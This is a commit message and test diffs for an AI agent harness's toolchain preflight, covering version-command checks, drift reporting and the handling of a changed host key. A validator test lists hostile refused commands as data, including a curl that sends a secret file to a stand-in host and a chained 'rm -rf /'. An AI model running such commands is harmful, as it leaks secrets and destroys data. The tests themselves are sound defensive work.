M4.1: toolchain preflight

A model works out and sets up what a project needs on its build VM;
code makes sure that happens, bounds it and checks the result (D3).

- Before each driver run on a project, one round trip checks the build
  VM: the harness's own baseline (missing: the item waits, a template
  problem), the workspace clone (missing: cloned again and said; the
  item resumes from what it pushed) and a per-project marker.
- No marker (a new project, a new or wiped VM): the item's driver model
  runs a bounded preflight first, with its own prompt, the execution
  tools (screened as ever) and toolchain_ready. The harness runs each
  reported version command itself (version-shaped commands only, even
  from the marker, which the model's commands could edit) and writes
  the marker. Gaps and an unfinished preflight are facts and work goes
  on; the thread hears only of installs and gaps. A rebuilt VM starts
  from the last toolchain.
- Later runs check the versions again; a change is a fact and a thread
  line. The PR body says what the work was tested with.
- A changed host key is its own failure (HostKeyChanged): the item
  waits for the operator's `trust new host key`, which drops the pin;
  then the VM is set up again.
- A prompt line: install what the work needs on the build VM, say why,
  and put lasting needs in the project's own pins.
- tuning.preflight: max_turns, command_timeout_s.
- The property walk gains a VM wipe and ready_before_work (checked
  against a mutant that skips preflight); parked_work_safe accepts that
  a wipe loses what wasn't pushed (D3).

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PPQ14L3LikyefCMFBqEbKE

nisse-dev/tests/test_config.py

@@ -518,3 +518,8 @@ def test_the_trust_dial_defaults_to_the_operator_merging() -> None:
     assert only(build(**{f"{P}trust__merge": "approved"})).merge == "approved"
     with pytest.raises(ConfigError, match="trust.merge: must be one of operator"):
         build(**{f"{P}trust__merge": "always"})
+
+
+def test_preflight_tuning_is_read() -> None:
+    tuning = build(tuning={"preflight": {"max_turns": 8}}).tuning
+    assert (tuning.preflight.max_turns, tuning.preflight.command_timeout_s) == (8, 900)

nisse-dev/tests/test_execution.py

@@ -75,3 +75,34 @@ def test_secrets_are_never_on_a_command_line(ssh_host: SSHHost, tmp_path: Path)
 def test_redact_masks_longest_values_first() -> None:
     assert redact("abc-abcdef", ["abcdef", "abc-abcdef"]) == REDACTED
     assert redact("short ab stays", ["ab"]) == "short ab stays"  # too short to mask
+
+
+def test_a_changed_host_key_is_its_own_failure_and_only_forgetting_clears_it(
+    ssh_host: SSHHost, tmp_path: Path
+) -> None:
+    import subprocess
+
+    from nisse_dev.execution import HostKeyChanged
+
+    host = SSHHost(
+        ssh_host.address,
+        key=ssh_host._key,
+        user=ssh_host.user,
+        port=ssh_host.port,
+        state_dir=tmp_path / "state",
+    )
+    assert host.execute("true").ok  # first contact pins the key
+    host.close()
+    # Someone else's key where the pinned one was: a rebuilt VM, or not it.
+    subprocess.run(
+        ["ssh-keygen", "-q", "-t", "ed25519", "-N", "", "-f", str(tmp_path / "other")],
+        check=True,
+    )
+    other = (tmp_path / "other.pub").read_text().split()
+    known = tmp_path / "state" / "known_hosts"
+    name = host.address if host.port == 22 else f"[{host.address}]:{host.port}"
+    known.write_text(f"{name} {other[0]} {other[1]}\n")
+    with pytest.raises(HostKeyChanged):
+        host.execute("true")
+    host.forget_host_key()
+    assert host.execute("true").ok  # the real key pinned again

nisse-dev/tests/test_loop_preflight.py

@@ -0,0 +1,256 @@
+"""Toolchain preflight in the loop (D3, M4.1): before the driver plans, the
+build VM is checked (baseline, clone, marker); without a marker the item's
+driver gets the toolchain ready and the harness checks what it reports; later
+runs check the versions again; a rebuilt VM is re-cloned and set up again,
+and a changed host key waits for the operator."""
+
+import io
+import shutil
+import uuid
+from pathlib import Path
+from typing import Any
+
+import pytest
+from test_loop_milestones import (
+    DON,
+    FINISH,
+    RESTATE,
+    WORK,
+    ScriptedModel,
+    call,
+    say,
+)
+from test_loop_milestones import item as the_item
+from test_loop_milestones import world as world  # noqa: PLC0414 -- the fixture
+
+from nisse_dev.cancel import Cancel
+from nisse_dev.canonical import Fact, ToolResult
+from nisse_dev.execution import HostKeyChanged
+from nisse_dev.loop import preflight
+from nisse_dev.loop.agent import LoopAgent, Project
+from nisse_dev.loop.driver import Driver
+from nisse_dev.loop.items import ANSWER, GO_AHEAD, WAITING, loop_of
+from nisse_dev.oplog import OpLog
+from nisse_dev.tools import Workspace
+from nisse_dev.transport import InMemoryTransport
+from nisse_dev.worker import InlineWorker
+
+PYTHON = {"name": "python", "version_command": "python3 --version"}
+
+
+def ready(**more: Any) -> list[Any]:
+    """A preflight that finds Python and reports it."""
+    return [
+        call("run_command", command="python3 --version"),
+        call(
+            "toolchain_ready",
+            summary="Python is there",
+            toolchain=[PYTHON],  # type: ignore[arg-type]
+            **more,
+        ),
+    ]
+
+
+@pytest.fixture
+def project() -> str:
+    return f"pf-{uuid.uuid4().hex[:8]}"
+
+
+def markers(world: dict[str, Any]) -> str:
+    """Markers in the test's own directory, not this host's home."""
+    return str(Path(world["repo"].root).parent / "markers")
+
+
+def agent_for(
+    world: dict[str, Any], project: str, model: ScriptedModel
+) -> tuple[LoopAgent, InMemoryTransport]:
+    transport = InMemoryTransport()
+    cancel = Cancel()
+    loop = LoopAgent(
+        world["store"],
+        transport,
+        world["forge"],
+        projects=[
+            Project(
+                project,
+                "don/sandbox",
+                Workspace(world["host"], world["repo"].root, timeout_s=30),
+                world["milestones"],
+            )
+        ],
+        account="nisse-dev",
+        operators={DON},
+        gitea_operators={"don"},
+        driver=Driver(model, "m", cancel=cancel),  # type: ignore[arg-type]
+        worker=InlineWorker(),
+        cancel=cancel,
+        oplog=OpLog("nisse-dev", io.StringIO()),
+        preflight=True,
+        preflight_turns=5,
+        markers=markers(world),
+    )
+    transport.on_message(loop.on_message)
+    return loop, transport
+
+
+def facts(world: dict[str, Any]) -> list[str]:
+    events = world["store"].transcript(the_item(world).id, "orchestrator").read()
+    return [e.event.text for e in events if isinstance(e.event, Fact)]
+
+
+def said(transport: InMemoryTransport) -> list[str]:
+    return [m.text for m in transport.outbound]
+
+
+def test_preflight_comes_before_planning(world: dict[str, Any], project: str) -> None:
+    model = ScriptedModel(ready(), RESTATE)
+    agent, transport = agent_for(world, project, model)
+    agent.intake()
+    item = the_item(world)
+    assert (item.position, loop_of(item).wait) == (WAITING, GO_AHEAD)
+    known = facts(world)
+    toolchain = [
+        f for f in known if f.startswith("preflight: toolchain: python Python 3.")
+    ]
+    assert toolchain, known
+    assert known.index(
+        "preflight: getting the project's toolchain ready"
+    ) < known.index("restatement rev-1 put up for a go-ahead")
+    assert loop_of(item).toolchain[0][:2] == ("python", "python3 --version")
+    marker = preflight.check(
+        world["host"], project, str(world["repo"].root), markers(world)
+    ).marker
+    assert marker is not None and marker["complete"]
+    assert not [t for t in said(transport) if t.startswith("Preflight:")]  # quiet
+
+
+def test_preflight_runs_once_then_versions_are_checked(
+    world: dict[str, Any], project: str, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    model = ScriptedModel(ready(), RESTATE, [*WORK, *FINISH])
+    agent, transport = agent_for(world, project, model)
+    agent.intake()
+    real = preflight.versions
+
+    def newer(host: Any, tools: list[Any]) -> list[Any]:
+        return [
+            preflight.Tool(t.name, t.command, "Python 3.99.0")
+            for t in real(host, tools)
+        ]
+
+    monkeypatch.setattr(preflight, "versions", newer)
+    say(transport, world, "go")  # no second preflight: the script has none
+    changed = [f for f in facts(world) if f.startswith("the toolchain changed")]
+    assert changed and "→ Python 3.99.0" in changed[0]
+    assert any("toolchain changed" in t for t in said(transport))
+    [pr] = [n for n in world["forge"].prs]
+    assert "Tested with: python Python 3.99.0" in world["forge"].prs[pr]["body"]
+
+
+def test_only_version_commands_are_accepted(
+    world: dict[str, Any], project: str
+) -> None:
+    bad = call(
+        "toolchain_ready",
+        summary="s",
+        toolchain=[{"name": "py", "version_command": "python3 -c 'print(1)'"}],  # type: ignore[arg-type]
+    )
+    model = ScriptedModel([bad], ready(), RESTATE)
+    agent, _ = agent_for(world, project, model)
+    agent.intake()
+    results = [
+        e.event.result
+        for e in world["store"].transcript(the_item(world).id, "driver").read()
+        if isinstance(e.event, ToolResult)
+    ]
+    assert any("plain version commands" in r for r in results)
+    assert loop_of(the_item(world)).toolchain
+
+
+def test_what_was_installed_or_is_missing_is_said(
+    world: dict[str, Any], project: str
+) -> None:
+    model = ScriptedModel(
+        ready(
+            installed=["libfoo-dev"],  # type: ignore[arg-type]
+            missing=[{"name": "protoc", "why": "no package for this OS"}],  # type: ignore[arg-type]
+        ),
+        RESTATE,
+    )
+    agent, transport = agent_for(world, project, model)
+    agent.intake()
+    [line] = [t for t in said(transport) if t.startswith("Preflight:")]
+    assert "installed: libfoo-dev" in line
+    assert "missing: protoc (no package for this OS)" in line
+
+
+def test_an_unfinished_preflight_is_said_and_work_goes_on(
+    world: dict[str, Any], project: str
+) -> None:
+    from nisse_dev.canonical import AssistantText
+
+    prose = [AssistantText(text="hmm", model="m")]
+    model = ScriptedModel(prose, prose, RESTATE)
+    agent, transport = agent_for(world, project, model)
+    agent.intake()
+    assert loop_of(the_item(world)).wait == GO_AHEAD  # it planned anyway
+    assert any("the preflight didn't finish" in t for t in said(transport))
+    marker = preflight.check(
+        world["host"], project, str(world["repo"].root), markers(world)
+    ).marker
+    assert marker is not None and not marker["complete"]
+
+
+def test_a_wiped_vm_is_cloned_again_and_set_up(
+    world: dict[str, Any], project: str
+) -> None:
+    model = ScriptedModel(ready(), RESTATE, ready(), [*WORK, *FINISH])
+    agent, transport = agent_for(world, project, model)
+    agent.intake()
+    # The VM is rebuilt: the clone and the marker are gone.
+    shutil.rmtree(world["repo"].root)
+    world["host"].execute(f'rm -f "{preflight.marker_path(project, markers(world))}"')
+    say(transport, world, "go")
+    assert any("cloned the workspace again" in f for f in facts(world))
+    assert (Path(world["repo"].root) / ".git").exists()
+    assert sum("getting the project's toolchain ready" in f for f in facts(world)) == 2
+    assert world["forge"].prs  # and the work went on to a PR
+
+
+def test_a_missing_baseline_waits_on_the_operator(
+    world: dict[str, Any], project: str, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    monkeypatch.setattr(preflight, "BASELINE", ("git", "no-such-tool-xyz"))
+    agent, _ = agent_for(world, project, ScriptedModel())
+    agent.intake()
+    loop = loop_of(the_item(world))
+    assert loop.wait == ANSWER and "lacks no-such-tool-xyz" in loop.note
+
+
+def test_a_changed_host_key_waits_for_the_operators_word(
+    world: dict[str, Any], project: str, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    real = preflight.check
+    changed = {"on": True}
+
+    def check(host: Any, name: str, root: str, *rest: Any) -> Any:
+        if changed["on"]:
+            raise HostKeyChanged("the key changed")
+        return real(host, name, root, *rest)
+
+    forgotten: list[str] = []
+    monkeypatch.setattr(preflight, "check", check)
+    monkeypatch.setattr(
+        type(world["host"]), "forget_host_key", lambda self: forgotten.append("yes")
+    )
+    agent, transport = agent_for(world, project, ScriptedModel(ready(), RESTATE))
+    agent.intake()
+    loop = loop_of(the_item(world))
+    assert loop.host_key_changed and "trust new host key" in loop.note
+    say(transport, world, "it's fine")  # an answer isn't the operator's word
+    still = loop_of(the_item(world))
+    assert (still.wait, still.host_key_changed, forgotten) == (ANSWER, True, [])
+    changed["on"] = False
+    say(transport, world, "trust new host key")
+    assert forgotten == ["yes"]
+    assert loop_of(the_item(world)).wait == GO_AHEAD  # set up, then planned

nisse-dev/tests/test_loop_properties.py

@@ -12,6 +12,7 @@ import json
 import os
 import random
 import re
+import shutil
 import subprocess
 import uuid
 from pathlib import Path
@@ -94,6 +95,18 @@ class PolicyModel:
             "the design has merged" in t for t in facts
         )
         path = f"docs/d{self.n}.md" if design else f"f{self.n}.py"
+        if "toolchain_ready" in offered:
+            # A preflight (M4.1): usually reported, sometimes badly or not.
+            if self.rng.random() < 0.15:
+                return [AssistantText(text="setting up", model=model)]
+            command = self.rng.choice(["python3 --version"] * 4 + ["python3 -c x"])
+            return [
+                call(
+                    "toolchain_ready",
+                    summary=f"ready {self.n}",
+                    toolchain=[{"name": "python", "version_command": command}],  # type: ignore[arg-type]
+                )
+            ]
         roll = self.rng.random()
         if roll < 0.08:
             return [call("ask_human", question=f"question {self.n}?")]
@@ -175,6 +188,26 @@ class PolicyModel:
         ]
 
 
+class Watched:
+    """The driver's model, watched: a run on a project item (not its
+    preflight) must find the project's marker on the VM."""
+
+    def __init__(self, walk: "Walk", inner: Any) -> None:
+        self.walk = walk
+        self.inner = inner
+
+    def complete(self, events, tools, model, system=None) -> list[Any]:
+        offered = {t["function"]["name"] for t in tools}
+        item = self.walk.world["store"].active_item()
+        working = "toolchain_ready" not in offered and "propose_work" not in offered
+        marked = (
+            item is not None and (self.walk.markers / f"{item.scope}.ready").exists()
+        )
+        if item is not None and item.scope != "general" and working and not marked:
+            self.walk.unready.append(item.id)
+        return self.inner.complete(events, tools, model, system)
+
+
 class ClassifierModel:
     """A classifier answering at random, junk and failures included: the
     loop must stay safe whatever it says (L4 fails closed)."""
@@ -247,6 +280,11 @@ class Walk:
         # PRs, behind protection that refuses anything else.
         self.merge = "approved" if seed % 2 == 0 else "operator"
         self.agent_merges: list[tuple[int, bool]] = []  # (PR, approved at head)
+        # M4.1: markers in the walk's own directory; project runs seen
+        # without one.
+        self.markers = Path(self.world["repo"].root).parent / "markers"
+        self.unready: list[str] = []
+        self.wiped_at: dict[str, int] = {}  # project -> last event before a wipe
         if self.merge == "approved":
             for w in worlds.values():
                 self._watch_merges(w["forge"])
@@ -303,7 +341,7 @@ class Walk:
             operators={DON},
             gitea_operators={"don"},
             driver=Driver(
-                PolicyModel(self.rng, list(self.worlds)),  # type: ignore[arg-type]
+                Watched(self, PolicyModel(self.rng, list(self.worlds))),  # type: ignore[arg-type]
                 "m",
                 cancel=cancel,
             ),
@@ -322,6 +360,9 @@ class Walk:
             ),
             bug_grace_s=600,
             clock=lambda: self.now,
+            preflight=True,
+            preflight_turns=3,
+            markers=str(self.markers),
         )
         transport.on_message(agent.on_message)
         return agent, transport
@@ -344,6 +385,7 @@ class Walk:
         weights = {
             "intake": 2 if not open_items else 1,
             "crash": 1,
+            "wipe": 1,
             "issue": 1,
             "chat": 1,
         }
@@ -374,6 +416,13 @@ class Walk:
         self.steps.append(f"{action}{self.name(item)}" if item else action)
         if action == "intake":
             self.agent.intake()
+        elif action == "wipe":
+            # The build VM is rebuilt (D3): the clone and its marker gone.
+            w = self.worlds[project]
+            shutil.rmtree(w["repo"].root, ignore_errors=True)
+            events = self.world["store"].all_events()
+            self.wiped_at[project] = events[-1].id if events else 0
+            (self.markers / f"{project}.ready").unlink(missing_ok=True)
         elif action == "done" and loop:
             # The operator says a new project is ready; no entry was added.
             self.transport.receive(DON, "done", thread=loop.thread)
@@ -535,6 +584,8 @@ class Walk:
 
     def check(self) -> None:
         where = f"seed {self.seed}, steps {self.steps}"
+        # M4.1: the driver never works on a project whose VM has no marker.
+        assert not self.unready, f"ready_before_work: {self.unready}: {where}"
         # D5: the agent asks Gitea to merge only what an operator approved
         # as it is (Gitea would refuse the rest; the harness mustn't ask).
         unapproved = [pr for pr, approved in self.agent_merges if not approved]
@@ -647,7 +698,8 @@ class Walk:
             helping = [
                 b
                 for b in [
-                    *w["repo"].local_branches(),
+                    # A wiped VM has no clone (and so no local branches).
+                    *(w["repo"].local_branches() if w["repo"].exists() else []),
                     *_git(
                         w["bare"], "for-each-ref", "--format=%(refname:short)"
                     ).split(),
@@ -738,11 +790,15 @@ class Walk:
         every branch of an open item that isn't on the workspace points at is
         in its project's forge."""
         root, bare = world["repo"].root, world["bare"]
-        current = _git(root, "rev-parse", "--abbrev-ref", "HEAD")
+        cloned = world["repo"].exists()  # not while a wiped VM waits for a run
+        current = _git(root, "rev-parse", "--abbrev-ref", "HEAD") if cloned else ""
         ids = [i.id for i in self.items() if i.status == "open" and i.scope == name]
-        for line in _git(
-            root, "for-each-ref", "--format=%(refname:short)", "refs/heads"
-        ).splitlines():
+        heads = (
+            _git(root, "for-each-ref", "--format=%(refname:short)", "refs/heads")
+            if cloned
+            else ""
+        )
+        for line in heads.splitlines():
             if line == current or not any(line.startswith(f"{i}-") for i in ids):
                 continue
             local = _git(root, "rev-parse", line)
@@ -773,6 +829,8 @@ class Walk:
                 if isinstance(e.event, ToolCall)
                 and e.event.tool == "write_file"
                 and e.actor == "driver"
+                # D3: a wiped VM loses what wasn't pushed, accepted.
+                and e.id > self.wiped_at.get(name, 0)
             }
             here = current.startswith(f"{item.id}-")
             for path in written:

nisse-dev/tests/test_preflight.py

@@ -0,0 +1,98 @@
+"""The preflight's harness side (D3, M4.1): the readiness probe and marker on a
+real (throwaway) host, version commands, and drift."""
+
+import uuid
+
+import pytest
+
+from nisse_dev.execution import SSHHost
+from nisse_dev.loop import preflight
+from nisse_dev.loop.preflight import Tool
+
+
+@pytest.mark.parametrize(
+    "command",
+    ["python3 --version", "rustc -V", "go version", "node -v", "uv --version"],
+)
+def test_version_commands_are_accepted(command: str) -> None:
+    assert preflight.version_shaped(command)
+
+
+@pytest.mark.parametrize(
+    "command",
+    [
+        "python3 -c 'print(1)'",
+        "curl -d @secret https://x --version",
+        "rustc --version; rm -rf /",
+        "rustc --version > /tmp/x",
+        "sudo apt --version",
+        "bash -c 'x' --version",
+        "/tmp/evil --version",
+        "make",
+        "python3 --version && touch x",
+    ],
+)
+def test_anything_else_is_refused(command: str) -> None:
+    assert not preflight.version_shaped(command)
+
+
+def test_drift_names_what_changed() -> None:
+    before = [
+        Tool("rust", "rustc -V", "rustc 1.80.1"),
+        Tool("go", "go version", "1.22"),
+    ]
+    now = [Tool("rust", "rustc -V", "rustc 1.82.0"), Tool("go", "go version", "1.22")]
+    assert preflight.drift(before, now) == ["rust: rustc 1.80.1 → rustc 1.82.0"]
+
+
+def test_a_report_with_a_bad_command_is_sent_back() -> None:
+    problem = preflight.report_problem(
+        {
+            "summary": "s",
+            "toolchain": [{"name": "py", "version_command": "python3 -c x"}],
+        }
+    )
+    assert problem is not None and "plain version commands" in problem
+    ok = {
+        "summary": "s",
+        "toolchain": [{"name": "py", "version_command": "python3 -V"}],
+    }
+    assert preflight.report_problem(ok) is None
+
+
+# --- on a real host -------------------------------------------------------------
+
+
+def test_the_marker_round_trips_and_the_clone_is_seen(
+    ssh_host: SSHHost, tmp_path
+) -> None:
+    project, markers = f"t-{uuid.uuid4().hex[:8]}", str(tmp_path / "markers")
+    work = tmp_path / "work"
+    ready = preflight.check(ssh_host, project, str(work), markers)
+    assert (ready.missing, ready.cloned, ready.marker) == ((), False, None)
+    (work / ".git").mkdir(parents=True)
+    preflight.write_marker(ssh_host, project, {"complete": True}, markers)
+    ready = preflight.check(ssh_host, project, str(work), markers)
+    assert ready.cloned and ready.marker == {"complete": True}
+
+
+def test_a_missing_baseline_command_is_named(
+    ssh_host: SSHHost, tmp_path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    monkeypatch.setattr(preflight, "BASELINE", ("git", "no-such-tool-xyz"))
+    ready = preflight.check(ssh_host, "x", str(tmp_path))
+    assert ready.missing == ("no-such-tool-xyz",)
+
+
+def test_versions_are_read_by_the_harness(ssh_host: SSHHost) -> None:
+    found = preflight.versions(
+        ssh_host,
+        [
+            Tool("python", "python3 --version"),
+            Tool("nothing", "no-such-tool-xyz --version"),
+            Tool("sneaky", "python3 -c 'print(1)'"),  # never run
+        ],
+    )
+    assert [t.name for t in found] == ["python", "nothing"]
+    assert found[0].version.startswith("Python 3.")
+    assert found[1].version == "not found"